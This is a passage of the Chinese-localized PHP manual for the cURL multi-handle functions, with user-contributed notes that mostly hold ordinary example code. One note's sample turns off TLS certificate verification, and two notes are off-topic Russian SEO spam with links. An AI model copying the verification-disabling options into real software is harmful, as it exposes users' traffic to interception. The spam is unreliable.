Modifying CURLOPT_NOBODY to false, http code sent is 200 otherwise http code is 400 !!!
Curly 30-Mar-2015 09:55
If you call curl_reset() on a handle that has already been passed to curl_exec(), and then perform a curl_getinfo() on the same handle, you may expect that you get the same result as if you called curl_getinfo() immediately after curl_init(). This is not the case, however. cURL will return the data from the previous execution. If you want to completely reset you actually need to unset the cURL handle and recreate a new one.
qrworld.net 11-Nov-2014 04:43
Here you have a function that I use to get the content of a URL using cURL. This uses curl_getinfo to know if it is a regular URL or maybe a redirection.

I hope it would be useful for you:

function getUrlContent($url){
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)');
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
 curl_setopt($ch, CURLOPT_TIMEOUT, 5);
 $data = curl_exec($ch);
 $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
 curl_close($ch);
 return ($httpcode>=200 && $httpcode<300) ? $data : false;
}

The source comes from this website:

http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url.html
bg at enativ dot com 18-Mar-2014 09:53
curl_getinfo($ch) will also return 'redirect_url' if there is one (even if CURLOPT_FOLLOWLOCATION set to false).
I don't know why it's not in the doc..
nikita dot bulatenko at gmail dot com 15-Mar-2013 02:11
CURLINFO_SSL_VERIFYRESULT error codes:
0: ok the operation was successful.
2 : unable to get issuer certificate
3: unable to get certificate CRL
4: unable to decrypt certificate's signature
5: unable to decrypt CRL's signature
6: unable to decode issuer public key
7: certificate signature failure
8: CRL signature failure
9: certificate is not yet valid
10: certificate has expired
11: CRL is not yet valid
12:CRL has expired
13: format error in certificate's notBefore field
14: format error in certificate's notAfter field
15: format error in CRL's lastUpdate field
16: format error in CRL's nextUpdate field
17: out of memory
18: self signed certificate
19: self signed certificate in certificate chain
20: unable to get local issuer certificate
21:unable to verify the first certificate
22: certificate chain too long
23: certificate revoked
24: invalid CA certificate
25: path length constraint exceeded
26: unsupported certificate purpose
27: certificate not trusted
28: certificate rejected
29: subject issuer mismatch
30: authority and subject key identifier mismatch
31: authority and issuer serial number mismatch
32: key usage does not include certificate signing
50: application verification failure
details at http://www.openssl.org/docs/apps/verify.html#VERIFY_OPERATION
vince 22-Oct-2010 04:56
CURLINFO_HTTP_CODE does not return a string, as the docs say, but rather an integer.

<?php
    $c = curl_init('http://www.example.com/');
    if(curl_getinfo($c, CURLINFO_HTTP_CODE) === '200') echo "CURLINFO_HTTP_CODE returns a string.";
    if(curl_getinfo($c, CURLINFO_HTTP_CODE) === 200) echo "CURLINFO_HTTP_CODE returns an integer.";
    curl_close($c);
?>

returns

"CURLINFO_HTTP_CODE returns an integer."
Anonymous 20-Jul-2010 02:53
The main doc neglects to mention that when the CURLINFO_HEADER_OUT option is set the array returned by this function will included a new property, request_header, that is a string of the headers sent in the request.
nemetral 17-Jun-2008 07:57
Just a quick note: if you want to use curl_getinfo() with option CURLINFO_HEADER_OUT in order to debug your cURL request, you must add curl_setopt($handle, CURLINFO_HEADER_OUT, true); first while specifying the options.
luiheidsgoeroe at hotmail dot com 04-Feb-2008 03:02
Keep in mind that for CURLOPT_RETURNTRANSFER it has to be set with curl_setopt() before execution:

This doesn't work:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
var_dump(curl_getinfo($ch,CURLINFO_HEADER_OUT));
?>

This works:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLINFO_HEADER_OUT, true);
curl_exec($ch);
var_dump(curl_getinfo($ch,CURLINFO_HEADER_OUT));
?>
Mark Evers 16-Jan-2008 10:14
There is a constant missing from that list.  CURLINFO_REDIRECT_COUNT will give you the number of redirects it went through if CURLOPT_FOLLOWLOCATION was set.
ssttoo at hotmail dot com 06-Apr-2004 12:13
Here are the response codes ready for pasting in an ini-style file. Can be used to provide more descriptive message, corresponding to 'http_code' index of the arrray returned by curl_getinfo().
These are taken from the W3 consortium HTTP/1.1: Status Code Definitions, found at
http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

[Informational 1xx]
100="Continue"
101="Switching Protocols"

[Successful 2xx]
200="OK"
201="Created"
202="Accepted"
203="Non-Authoritative Information"
204="No Content"
205="Reset Content"
206="Partial Content"

[Redirection 3xx]
300="Multiple Choices"
301="Moved Permanently"
302="Found"
303="See Other"
304="Not Modified"
305="Use Proxy"
306="(Unused)"
307="Temporary Redirect"

[Client Error 4xx]
400="Bad Request"
401="Unauthorized"
402="Payment Required"
403="Forbidden"
404="Not Found"
405="Method Not Allowed"
406="Not Acceptable"
407="Proxy Authentication Required"
408="Request Timeout"
409="Conflict"
410="Gone"
411="Length Required"
412="Precondition Failed"
413="Request Entity Too Large"
414="Request-URI Too Long"
415="Unsupported Media Type"
416="Requested Range Not Satisfiable"
417="Expectation Failed"

[Server Error 5xx]
500="Internal Server Error"
501="Not Implemented"
502="Bad Gateway"
503="Service Unavailable"
504="Gateway Timeout"
505="HTTP Version Not Supported"

And an example usage:
<?php
$ch = curl_init(); // create cURL handle (ch)
if (!$ch) {
    die("Couldn't initialize a cURL handle");
}
// set some cURL options
$ret = curl_setopt($ch, CURLOPT_URL,            "http://mail.yahoo.com");
$ret = curl_setopt($ch, CURLOPT_HEADER,         1);
$ret = curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$ret = curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
$ret = curl_setopt($ch, CURLOPT_TIMEOUT,        30);

// execute
$ret = curl_exec($ch);

if (empty($ret)) {
    // some kind of an error happened
    die(curl_error($ch));
    curl_close($ch); // close cURL handler
} else {
    $info = curl_getinfo($ch);
    curl_close($ch); // close cURL handler

    if (empty($info['http_code'])) {
            die("No HTTP code was returned");
    } else {
        // load the HTTP codes
        $http_codes = parse_ini_file("path/to/the/ini/file/I/pasted/above");

        // echo results
        echo "The server responded: <br />";
        echo $info['http_code'] . " " . $http_codes[$info['http_code']];
    }

}
?>


初始化 cURL 会话

  • ? curl_getinfo
  • curl_multi_add_handle ?
  • PHP Manual
  • cURL 函数
  • 初始化 cURL 会话

curl_init

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_init — 初始化 cURL 会话

说明

curl_init(?string $url = null): CurlHandle|false

初始化新会话，返回 cURL 句柄，供 curl_setopt()、curl_exec() 和 curl_close() 函数使用。

参数

url

如果提供了该参数，CURLOPT_URL 选项将会被设置成这个值。也可以使用 curl_setopt() 函数手动地设置这个值。

Note:

如果设置了 open_basedir，file 协议会被 cURL 禁用。

返回值

成功时返回 cURL 句柄，错误时返回 false。

更新日志

版本 | 说明
8.0.0 | 此函数成功时现在返回 CurlHandle 实例；之前返回 resource。
8.0.0 | url 现在可为 null。

示例

Example #1 初始化新 cURL 会话并获取网页

<?php
// 创建新 cURL 资源
$ch = curl_init();

// 设置 URL 和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取 URL 并把它传递给浏览器
curl_exec($ch);

// 关闭 cURL 资源，并且释放系统资源
curl_close($ch);
?>

参见

  • curl_close() - 关闭 cURL 会话
  • curl_multi_init() - 返回新 cURL 批处理句柄

User Contributed Notes

VictorWumble 15-Nov-2023 01:52
NextgenThemes' note is applicable for very very limited situations. For completeness's sake, let's consider the following code snippet:

<?php

/*
Your localhost has a default Apache which simply returns "It works!"
*/

$repeatCount = 1000;

// begin section
// this section is slow

// call localhost, create new handle each time
$time = microtime(true);
foreach (range(1, $repeatCount) as $ignored) {
    $ch = curl_init("http://localhost");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    // do something with the response
    unset($response);
    curl_close($ch);
}
unset($ch);
$elapsed = microtime(true) - $time;
echo "Recreate curl handle, time taken: " . $elapsed . "\n";

// end section

// begin section
// this section is much faster

// call localhost, but reuse the handle
$time = microtime(true);
$ch = curl_init("http://localhost");
foreach (range(1, $repeatCount) as $ignored) {
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    // do something with the response
    unset($response);
}
curl_close($ch);
$elapsed = microtime(true) - $time;
echo "Reuse curl handle, time taken: " . $elapsed . "\n";

// end section

/*
Example output:
Recreate curl handle, time taken: 11.289301872253
Reuse curl handle, time taken: 0.53790807723999
*/

?>

The above code supports the claim by NextgenThemes, however the "send curl requests in sequence" method in general is unnecessarily slow because:
- network transfer time (e.g. 100ms)
- remote processing time (e.g. 50ms)
- usually, no need to send requests in specific sequence

So, in practice, when you need to send multiple curl requests at the same time, just use the curl_multi_init method. Don't consider the "send curl requests in sequence" method unless you have very very specific/special needs.
NextgenThemes 13-Apr-2023 07:40
This may be obvious, but:

Note that is MUCH faster to use use a single instance to make a series of curl requests rather than creating a new instance for each request.


添加普通 cURL 句柄到 cURL 多句柄

  • ? curl_init
  • curl_multi_close ?
  • PHP Manual
  • cURL 函数
  • 添加普通 cURL 句柄到 cURL 多句柄

curl_multi_add_handle

(PHP 5, PHP 7, PHP 8)

curl_multi_add_handle — 添加普通 cURL 句柄到 cURL 多句柄

说明

curl_multi_add_handle(CurlMultiHandle $multi_handle, CurlHandle $handle): int

增加 handle 句柄到多句柄 multi_handle

参数

multi_handle

由 curl_multi_init() 返回的 cURL 多个句柄。

handle

由 curl_init() 返回的 cURL 句柄。

返回值

成功时返回 0，失败时返回 CURLM_XXX 之一的错误码。

更新日志

版本 | 说明
8.0.0 | multi_handle expects a CurlMultiHandle instance now; previously, a resource was expected.
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。

示例

Example #1 curl_multi_add_handle() 示例

此示例将创建两个 cURL 句柄，并把它们加到多句柄中，然后对其异步处理。

<?php
// 创建一对 cURL 资源
$ch1 = curl_init();
$ch2 = curl_init();

// 设置 URL 和其它相应的选项
curl_setopt($ch1, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// 创建 cURL 多句柄
$mh = curl_multi_init();

// 新增两个句柄
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

// 执行多句柄
do {
$status = curl_multi_exec($mh, $active);
if ($active) {
curl_multi_select($mh);
}
} while ($active && $status == CURLM_OK);

// 关闭全部句柄
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);
?>

参见

  • curl_multi_remove_handle() - 从一组 cURL 句柄中移除一个多句柄
  • curl_multi_init() - 返回新 cURL 批处理句柄
  • curl_init() - 初始化 cURL 会话

User Contributed Notes

RNS-MO-dig 02-Sep-2023 02:57
Разрешение на строительство — это государственный удостоверение, предоставленный правомочными ведомствами государственного управления или территориального самоуправления, который дает возможность начать стройку или исполнение строительного процесса.
<a href=https://rns-50.ru/>Получение разрешения на строительство</a> предписывает законодательные основания и стандарты к строительству, включая разрешенные категории работ, предусмотренные материалы и методы, а также включает строительные нормативные акты и комплексы охраны. Получение разрешения на строительную деятельность является обязательным документов для строительной сферы.
RNS-MO-dig 01-Sep-2023 12:15
Разрешение на строительство — это официальный документ, выписываемый полномочными органами государственного аппарата или местного управления, который позволяет начать строительную деятельность или осуществление строительных операций.
<a href=https://rns-50.ru/>Разрешение на строительство</a> формулирует юридические основы и стандарты к строительным операциям, включая допустимые категории работ, разрешенные материалы и подходы, а также включает строительные инструкции и комплекты безопасности. Получение разрешения на возведение является необходимым документов для строительной сферы.
3315954155 at libero dot it 20-Jul-2018 04:18
Sometime with arrays and loops (i.e. for or do while or foreach) curl_multi_init  loses some hits, to work around this problem  it is necessary to divide the loop into two parts: the start with key number zero and than, all the rest. In this way the curl_multi_init doesn't lose any hits. I did a lot of test and it seems to work well enough.
<?php

function set_option($x, $y){
curl_setopt($x, CURLOPT_URL,  $y);
curl_setopt($x, CURLOPT_HEADER, 0);
curl_setopt($x, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($x, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($x, CURLOPT_ENCODING, "gzip,deflate");
}

$nodes = array('http://php.net/manual/it/function.curl-multi-add-handle.php',
'http://php.net/manual/en/function.curl-multi-init.php',
'http://php.net/manual/en/function.curl-multi-setopt.php'
);

$node_count = count($nodes);

$curl_arr = array();
$master = curl_multi_init();
/*
now I put the first part of the array with the start key number zero, add all
options and add the curl_multi_add_handle;
it is necessary to detach this first part to avoid to lose some handles and than running
 the loop with the start key number one.
In this way the curl_multi_init doesn't lose anything and seems to be very stable.
*/
    $curl_arr[0] = curl_init($nodes[0]);
    set_option($curl_arr[0], $nodes[0]);
    curl_multi_add_handle($master, $curl_arr[0]);

/*
now the loop can start with key number one
*/
$i = 1;
do {
    if ($i!==0){

    $curl_arr[$i] = curl_init($nodes[$i]);
    set_option($curl_arr[$i], $nodes[$i]);
    curl_multi_add_handle($master, $curl_arr[$i]);
    }
$i++;
}while($i < $node_count);

$running = NULL;
do {
    curl_multi_exec($master,$running);
} while($running);

$results = array();
$q = 0;
do{
 $results[$q] = curl_multi_getcontent($curl_arr[$q]);
 curl_multi_remove_handle($master, $curl_arr[$q]);
$q++;
}while($q < $node_count);

foreach($results as $value){
 echo $value;
}

?>
kamsamlt888 at gmail dot com 06-Apr-2018 09:47
$nodes = array('http://www.google.com', 'http://www.microsoft.com', 'http://yahoo.com');
$node_count = count($nodes);

$curl_arr = array();
$master = curl_multi_init();

for($i = 0; $i < $node_count; $i++)
{
    $url =$nodes[$i];
    $curl_arr[$i] = curl_init($url);
    curl_setopt($curl_arr[$i], CURLOPT_RETURNTRANSFER, true);
    curl_multi_add_handle($master, $curl_arr[$i]);
}

do {
    curl_multi_exec($master,$running);
} while($running > 0);

echo "results: ";
for($i = 0; $i < $node_count; $i++)
{
    $results = curl_multi_getcontent  ( $curl_arr[$i]  );
    echo( $i . "\n" . $results . "\n");
}
echo 'done';
Anonymous 24-Dec-2012 06:29
The 'do' loop in this example will cycle indefinitely until all curl downloads complete, needlessly using CPU cycles.  A much better way is to block while dowloads are in progress.  Refer to the example code on the curl_multi_exec() page instead, which does this!


关闭一组 cURL 句柄

  • ? curl_multi_add_handle
  • curl_multi_errno ?
  • PHP Manual
  • cURL 函数
  • 关闭一组 cURL 句柄

curl_multi_close

(PHP 5, PHP 7, PHP 8)

curl_multi_close — 关闭一组 cURL 句柄

说明

curl_multi_close(CurlMultiHandle $multi_handle): void

Note:

此函数无效。在 PHP 8.0.0 之前，用于关闭资源。

关闭一组 cURL 句柄。

参数

multi_handle

由 curl_multi_init() 返回的 cURL 多个句柄。

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | multi_handle expects a CurlMultiHandle instance now; previously, a resource was expected.

示例

Example #1 curl_multi_close() 示例

此示例将创建两个 cURL 句柄，并把它们加到多句柄中，然后对其异步处理。

<?php
// 创建一对 cURL 资源
$ch1 = curl_init();
$ch2 = curl_init();

// 设置 URL 和其它相应的选项
curl_setopt($ch1, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// 创建 cURL 多句柄
$mh = curl_multi_init();

// 新增两个句柄
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

// 执行多句柄
do {
$status = curl_multi_exec($mh, $active);
if ($active) {
curl_multi_select($mh);
}
} while ($active && $status == CURLM_OK);

// 关闭全部句柄
curl_multi_remove_handle($mh, $ch1);
curl_close($ch1);
curl_multi_remove_handle($mh, $ch2);
curl_close($ch2);
curl_multi_close($mh);

?>

参见

  • curl_multi_init() - 返回新 cURL 批处理句柄
  • curl_close() - 关闭 cURL 会话

User Contributed Notes

There are no user contributed notes for this page.


返回上一次 curl 批处理的错误码

  • ? curl_multi_close
  • curl_multi_exec ?
  • PHP Manual
  • cURL 函数
  • 返回上一次 curl 批处理的错误码

curl_multi_errno

(PHP 7 >= 7.1.0, PHP 8)

curl_multi_errno — 返回上一次 curl 批处理的错误码

说明

curl_multi_errno(CurlMultiHandle $multi_handle): int

返回整型数字，为上次 curl 批处理错误码。

参数

multi_handle

由 curl_multi_init() 返回的 cURL 多个句柄。

返回值

返回整型数字，包含上次 curl 批处理的错误码。

更新日志

版本 | 说明
8.0.0 | 失败时此函数不再返回 false。
8.0.0 | multi_handle expects a CurlMultiHandle instance now; previously, a resource was expected.

参见

  • curl_errno() - 返回最后一次的错误代码

User Contributed Notes

There are no user contributed notes for this page.


运行当前 cURL 句柄的子连接

  • ? curl_multi_errno
  • curl_multi_getcontent ?
  • PHP Manual
  • cURL 函数
  • 运行当前 cURL 句柄的子连接

curl_multi_exec

(PHP 5, PHP 7, PHP 8)

curl_multi_exec — 运行当前 cURL 句柄的子连接

说明

curl_multi_exec(CurlMultiHandle $multi_handle, int &$still_running): int

处理在栈中的每一个句柄。无论该句柄需要读取或写入数据都可调用此方法。

参数

multi_handle

由 curl_multi_init() 返回的 cURL 多个句柄。

still_running

一个用来判断操作是否仍在执行的标识的引用。

返回值

定义于 cURL 预定义常量中的 cURL 代码。

Note:

该函数仅返回关于整个批处理栈相关的错误。即使返回 CURLM_OK 时单个传输仍可能有问题。

更新日志

版本 | 说明
8.0.0 | multi_handle expects a CurlMultiHandle instance now; previously, a resource was expected.

示例

Example #1 curl_multi_exec() 示例

这个范例将会创建 2 个 cURL 句柄，把它们加到批处理句柄，然后并行处理它们。

<?php
// 创建一对cURL资源
$ch1 = curl_init();
$ch2 = curl_init();

// 设置URL和相应的选项
curl_setopt($ch1, CURLOPT_URL, "http://example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// 创建批处理cURL句柄
$mh = curl_multi_init();

// 增加2个句柄
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

// 执行批处理句柄
do {
$status = curl_multi_exec($mh, $active);
if ($active) {
// Wait a short time for more activity
curl_multi_select($mh);
}
} while ($active && $status == CURLM_OK);

// 关闭全部句柄
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>

参见

  • curl_multi_init() - 返回新 cURL 批处理句柄
  • curl_multi_select() - 在任意 curl_multi 连接上等待活动
  • curl_exec() - 执行 cURL 会话

User Contributed Notes

maxpanchnko at gmail dot com 22-May-2022 12:15
One of examples, how to make multi_curl faster twice (pseudocode) with Fibers:

<?php

$curlHandles = [];
$urls = [
    'https://example.com/1',
    'https://example.com/2',
    ...
    'https://example.com/1000',
];
$mh = curl_multi_init();
$mh_fiber = curl_multi_init();

$halfOfList = floor(count($urls) / 2);
foreach ($urls as $index => $url) {
    $ch = curl_init($url);
    $curlHandles[] = $ch;

    // half of urls will be run in background in fiber
    $index > $halfOfList ? curl_multi_add_handle($mh_fiber, $ch) : curl_multi_add_handle($mh, $ch);
}

$fiber = new Fiber(function (CurlMultiHandle $mh) {
    $still_running = null;
    do {
        curl_multi_exec($mh, $still_running);
        Fiber::suspend();
    } while ($still_running);
});

// run curl multi exec in background while fiber is in suspend status
$fiber->start($mh_fiber);

$still_running = null;
do {
    $status = curl_multi_exec($mh, $still_running);
} while ($still_running);

do {
    /**
     * at this moment curl in fiber already finished (maybe)
     * so we must refresh $still_running variable with one more cycle "do while" in fiber
     **/
    $status_fiber = $fiber->resume();
} while (!$fiber->isTerminated());

foreach ($curlHandles as $index => $ch) {
    $index > $halfOfList ? curl_multi_remove_handle($mh_fiber, $ch) : curl_multi_remove_handle($mh, $ch);
}
curl_multi_close($mh);
curl_multi_close($mh_fiber);
?>
Timo Huovinen 27-Sep-2019 06:53
Just for people struggling to get this to work, here is my approach.
No infinite loops, no CPU 100%, speed can be tweaked.

<?php
function curl_multi_exec_full($mh, &$still_running) {
    do {
        $state = curl_multi_exec($mh, $still_running);
    } while ($still_running > 0 && $state === CURLM_CALL_MULTI_PERFORM && curl_multi_select($mh, 0.1));
    return $state;
}
function curl_multi_wait($mh, $minTime = 0.001, $maxTime = 1){
    $umin = $minTime*1000000;

    $start_time = microtime(true);
    $num_descriptors = curl_multi_select($mh, $maxTime);
    if($num_descriptors === -1){
        usleep($umin);
    }

    $timespan = (microtime(true) - $start_time);
    if($timespan < $umin){
        usleep($umin - $timespan);
    }
}

$handles = [
    [
        CURLOPT_URL=>"http://example.com/",
        CURLOPT_HEADER=>false,
        CURLOPT_RETURNTRANSFER=>true,
        CURLOPT_FOLLOWLOCATION=>false,
    ],
    [
        CURLOPT_URL=>"http://www.php.net",
        CURLOPT_HEADER=>false,
        CURLOPT_RETURNTRANSFER=>true,
        CURLOPT_FOLLOWLOCATION=>false,

        // https://stackoverflow.com/a/41135574
        CURLOPT_HEADERFUNCTION=>function($ch, $header)
        {
            print "header from http://www.php.net: ".$header;
            return strlen($header);
        }
    ]
];

$mh = curl_multi_init();

$chandles = [];
foreach($handles as $opts) {
    $ch = curl_init();
    curl_setopt_array($ch, $opts);
    curl_multi_add_handle($mh, $ch);
    $chandles[] = $ch;
}

$prevRunning = null;
do {
    $status = curl_multi_exec_full($mh, $running);
    if($running < $prevRunning){
        while ($read = curl_multi_info_read($mh, $msgs_in_queue)) {

            $info = curl_getinfo($read['handle']);

            if($read['result'] !== CURLE_OK){
                print "Error: ".$info['url'].PHP_EOL;
            }

            if($read['result'] === CURLE_OK){
                /*
                if(isset($info['redirect_url']) && trim($info['redirect_url'])!==''){

                    print "running redirect: ".$info['redirect_url'].PHP_EOL;
                    $ch3 = curl_init();
                    curl_setopt($ch3, CURLOPT_URL, $info['redirect_url']);
                    curl_setopt($ch3, CURLOPT_HEADER, 0);
                    curl_setopt($ch3, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch3, CURLOPT_FOLLOWLOCATION, 0);
                    curl_multi_add_handle($mh,$ch3);
                }
                */

                print_r($info);
                //echo curl_multi_getcontent($read['handle']));
            }
        }
    }

    if ($running > 0) {
        curl_multi_wait($mh);
    }

    $prevRunning = $running;

} while ($running > 0 && $status == CURLM_OK);
foreach($chandles as $ch){
    curl_multi_remove_handle($mh, $ch);
}
curl_multi_close($mh);
?>
gmail at com dot asmqb7 10-Apr-2019 01:17
/!\ ATTENTION
/!\ Several of the non-downvoted notes on this page are using outdated info.

The CURLM_CALL_MULTI_PERFORM return code has been defunct since circa 2012, at least seven years ago.

Quoting the author of curl, from https://curl.haxx.se/mail/lib-2012-08/0042.html:

> CURLM_CALL_MULTI_PERFORM is deprecated and will never be returned, as documented.

> During the first decade or so of libcurl's multi interface, I never saw a single proper use of that feature. I did however see numerous mistakes and misunderstandings. That made me decide that the feature wasn't important or good enough, so since 7.20.0 CURLM_CALL_MULTI_PERFORM is no more.

Discovered all of this thanks to https://stackoverflow.com/q/19490837/3229684, which suggested the following replacement while loop:

<?php
do {
    $mrc = curl_multi_exec($mc, $active);
} while ($active > 0);
?>

https://www.google.com/search?q=CURLM_CALL_MULTI_PERFORM <-- probably the most future-proof useful link I can put here
evaisse at gmail dot com 18-May-2018 03:30
This example is not fully working on PHP5.6.

Using curl_multi, and CURLOPT_VERBOSE & CURLOPT_STDERR, If found that sending curl_multi request before any "classic" cURL request will result in timeout error against some hostname. The error message display

    > * Hostname was NOT found in DNS cache

It seems that that adding this line to the first loop solve this problem.

       do {
            $mrc = curl_multi_exec($mh, $active);
            // check errors
            if ($mrc > 0) {
                // display error
                error_log(curl_multi_strerror($mrc));
            }
        } while ($mrc === CURLM_CALL_MULTI_PERFORM || $active);

source : https://stackoverflow.com/questions/30935541/php-curl-error-hostname-was-not-found-in-dns-cache
Silvio Garbes 24-Jun-2016 05:08
// Todas url gravadas em array
$url[] = 'http://www.link1.com.br';
$url[] = 'https://www.link2.com.br';
$url[] = 'https://www.link3.com.br';

// Setando op??o padr?o para todas url e adicionando a fila para processamento
$mh = curl_multi_init();
foreach($url as $key => $value){
  $ch[$key] = curl_init($value);
  curl_setopt($ch[$key], CURLOPT_NOBODY, true);
  curl_setopt($ch[$key], CURLOPT_HEADER, true);
  curl_setopt($ch[$key], CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch[$key], CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch[$key], CURLOPT_SSL_VERIFYHOST, false);

  curl_multi_add_handle($mh,$ch[$key]);
}

// Executando consulta
do {
  curl_multi_exec($mh, $running);
  curl_multi_select($mh);
} while ($running > 0);

// Obtendo dados de todas as consultas e retirando da fila
foreach(array_keys($ch) as $key){
  echo curl_getinfo($ch[$key], CURLINFO_HTTP_CODE);
  echo curl_getinfo($ch[$key], CURLINFO_EFFECTIVE_URL);
  echo "\n";

  curl_multi_remove_handle($mh, $ch[$key]);
}

// Finalizando
curl_multi_close($mh);
Zappie 17-Aug-2015 08:36
Probably you also want to be able to download the HTML content into buffers/variables, for parsing the HTML or for other processing in your program.

The example code on this page only outputs everything on the screen, without giving you the possibility to save the downloaded pages in string variables. Because downloading multiple pages is what I wanted to do (not a big surprise, huh? that's the reason for using multi-page parallel Curl) I was initially baffled, because this page doesn't give pointers to a guide how to do that.

Fortunately, there's a way to download content with parallel Curl requests (just like you would do for a single download with the regular curl_exec). You need to use: http://php.net/manual/en/function.curl-multi-getcontent.php

The function curl_multi_getcontent should definitely be mentioned in the "See Also" section of curl_multi_exec. Probably most people who find their way to the docs page of curl_multi_exec, actually want to download the multiple HTML pages (or other content from the multiple parallel Curl connections) into buffers, one page per one buffer.
jorov at mail dot bg 23-Oct-2014 03:22
I tried Daniel G Zylberberg's function and
it was not working the way it was posted.
I made some changes to get it work and here is what I use:

function multiCurl($res, $options=""){

        if(count($res)<=0) return False;

        $handles = array();

        if(!$options) // add default options
            $options = array(
                CURLOPT_HEADER=>0,
                CURLOPT_RETURNTRANSFER=>1,
            );

        // add curl options to each handle
        foreach($res as $k=>$row){
            $ch{$k} = curl_init();
            $options[CURLOPT_URL] = $row['url'];
            $opt = curl_setopt_array($ch{$k}, $options);
            var_dump($opt);
            $handles[$k] = $ch{$k};
        }

        $mh = curl_multi_init();

        // add handles
        foreach($handles as $k => $handle){
            $err = curl_multi_add_handle($mh, $handle);
        }

        $running_handles = null;

        do {
          curl_multi_exec($mh, $running_handles);
          curl_multi_select($mh);
        } while ($running_handles > 0);

        foreach($res as $k=>$row){
            $res[$k]['error'] = curl_error($handles[$k]);
            if(!empty($res[$k]['error']))
                $res[$k]['data']  = '';
            else
                $res[$k]['data']  = curl_multi_getcontent( $handles[$k] );  // get results

            // close current handler
            curl_multi_remove_handle($mh, $handles[$k] );
        }
        curl_multi_close($mh);
        return $res; // return response
}
qdujunjie at 126 dot com 17-Sep-2014 02:30
when you run curl_multi_exec() on the OS X mavericks system you may not get the right return, the scripts may running and running but no return value.
That's because on the OSX system with the php version 5.3.8+, when you call the curl_multi_exec() method before calling the curl_multi_select(), may always return the -1.
So here change a little code to running  the curl_multi_exec() successful on OSX below.

<?php

$ch1 = curl_init();
$ch2 = curl_init();

// 设置URL和相应的选项
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// 创建批处理cURL句柄
$mh = curl_multi_init();

// 增加2个句柄
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$active = null;

do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK)
{
   // add this line
   while (curl_multi_exec($mh, $active) === CURLM_CALL_MULTI_PERFORM);

   if (curl_multi_select($mh) != -1)
   {
       do {
           $mrc = curl_multi_exec($mh, $active);
           if ($mrc == CURLM_OK)
           {
               while($info = curl_multi_info_read($mh))
               {
                   var_dump($info);
               }
           }
       } while ($mrc == CURLM_CALL_MULTI_PERFORM);
   }
}

 //close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>
qdujunjie at 126 dot com 17-Sep-2014 02:22
当在OS X mavericks中运行curl_multi_exec()时，
可能会得不到想要的结果，
因为脚本会一直执行但是却没有返回值，
这是因为在OS X中当php在5.3.8以上版本时，
在调用curl_multi_exec()方法之前curl_multi_select()会一直返回-1，
所以这里改写一下脚本，
可以在OS X中成功执行：

<?php

$ch1 = curl_init();
$ch2 = curl_init();

// 设置URL和相应的选项
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// 创建批处理cURL句柄
$mh = curl_multi_init();

// 增加2个句柄
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$active = null;

do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK)
{
   // add this line
   while (curl_multi_exec($mh, $active) === CURLM_CALL_MULTI_PERFORM);

   if (curl_multi_select($mh) != -1)
   {
       do {
           $mrc = curl_multi_exec($mh, $active);
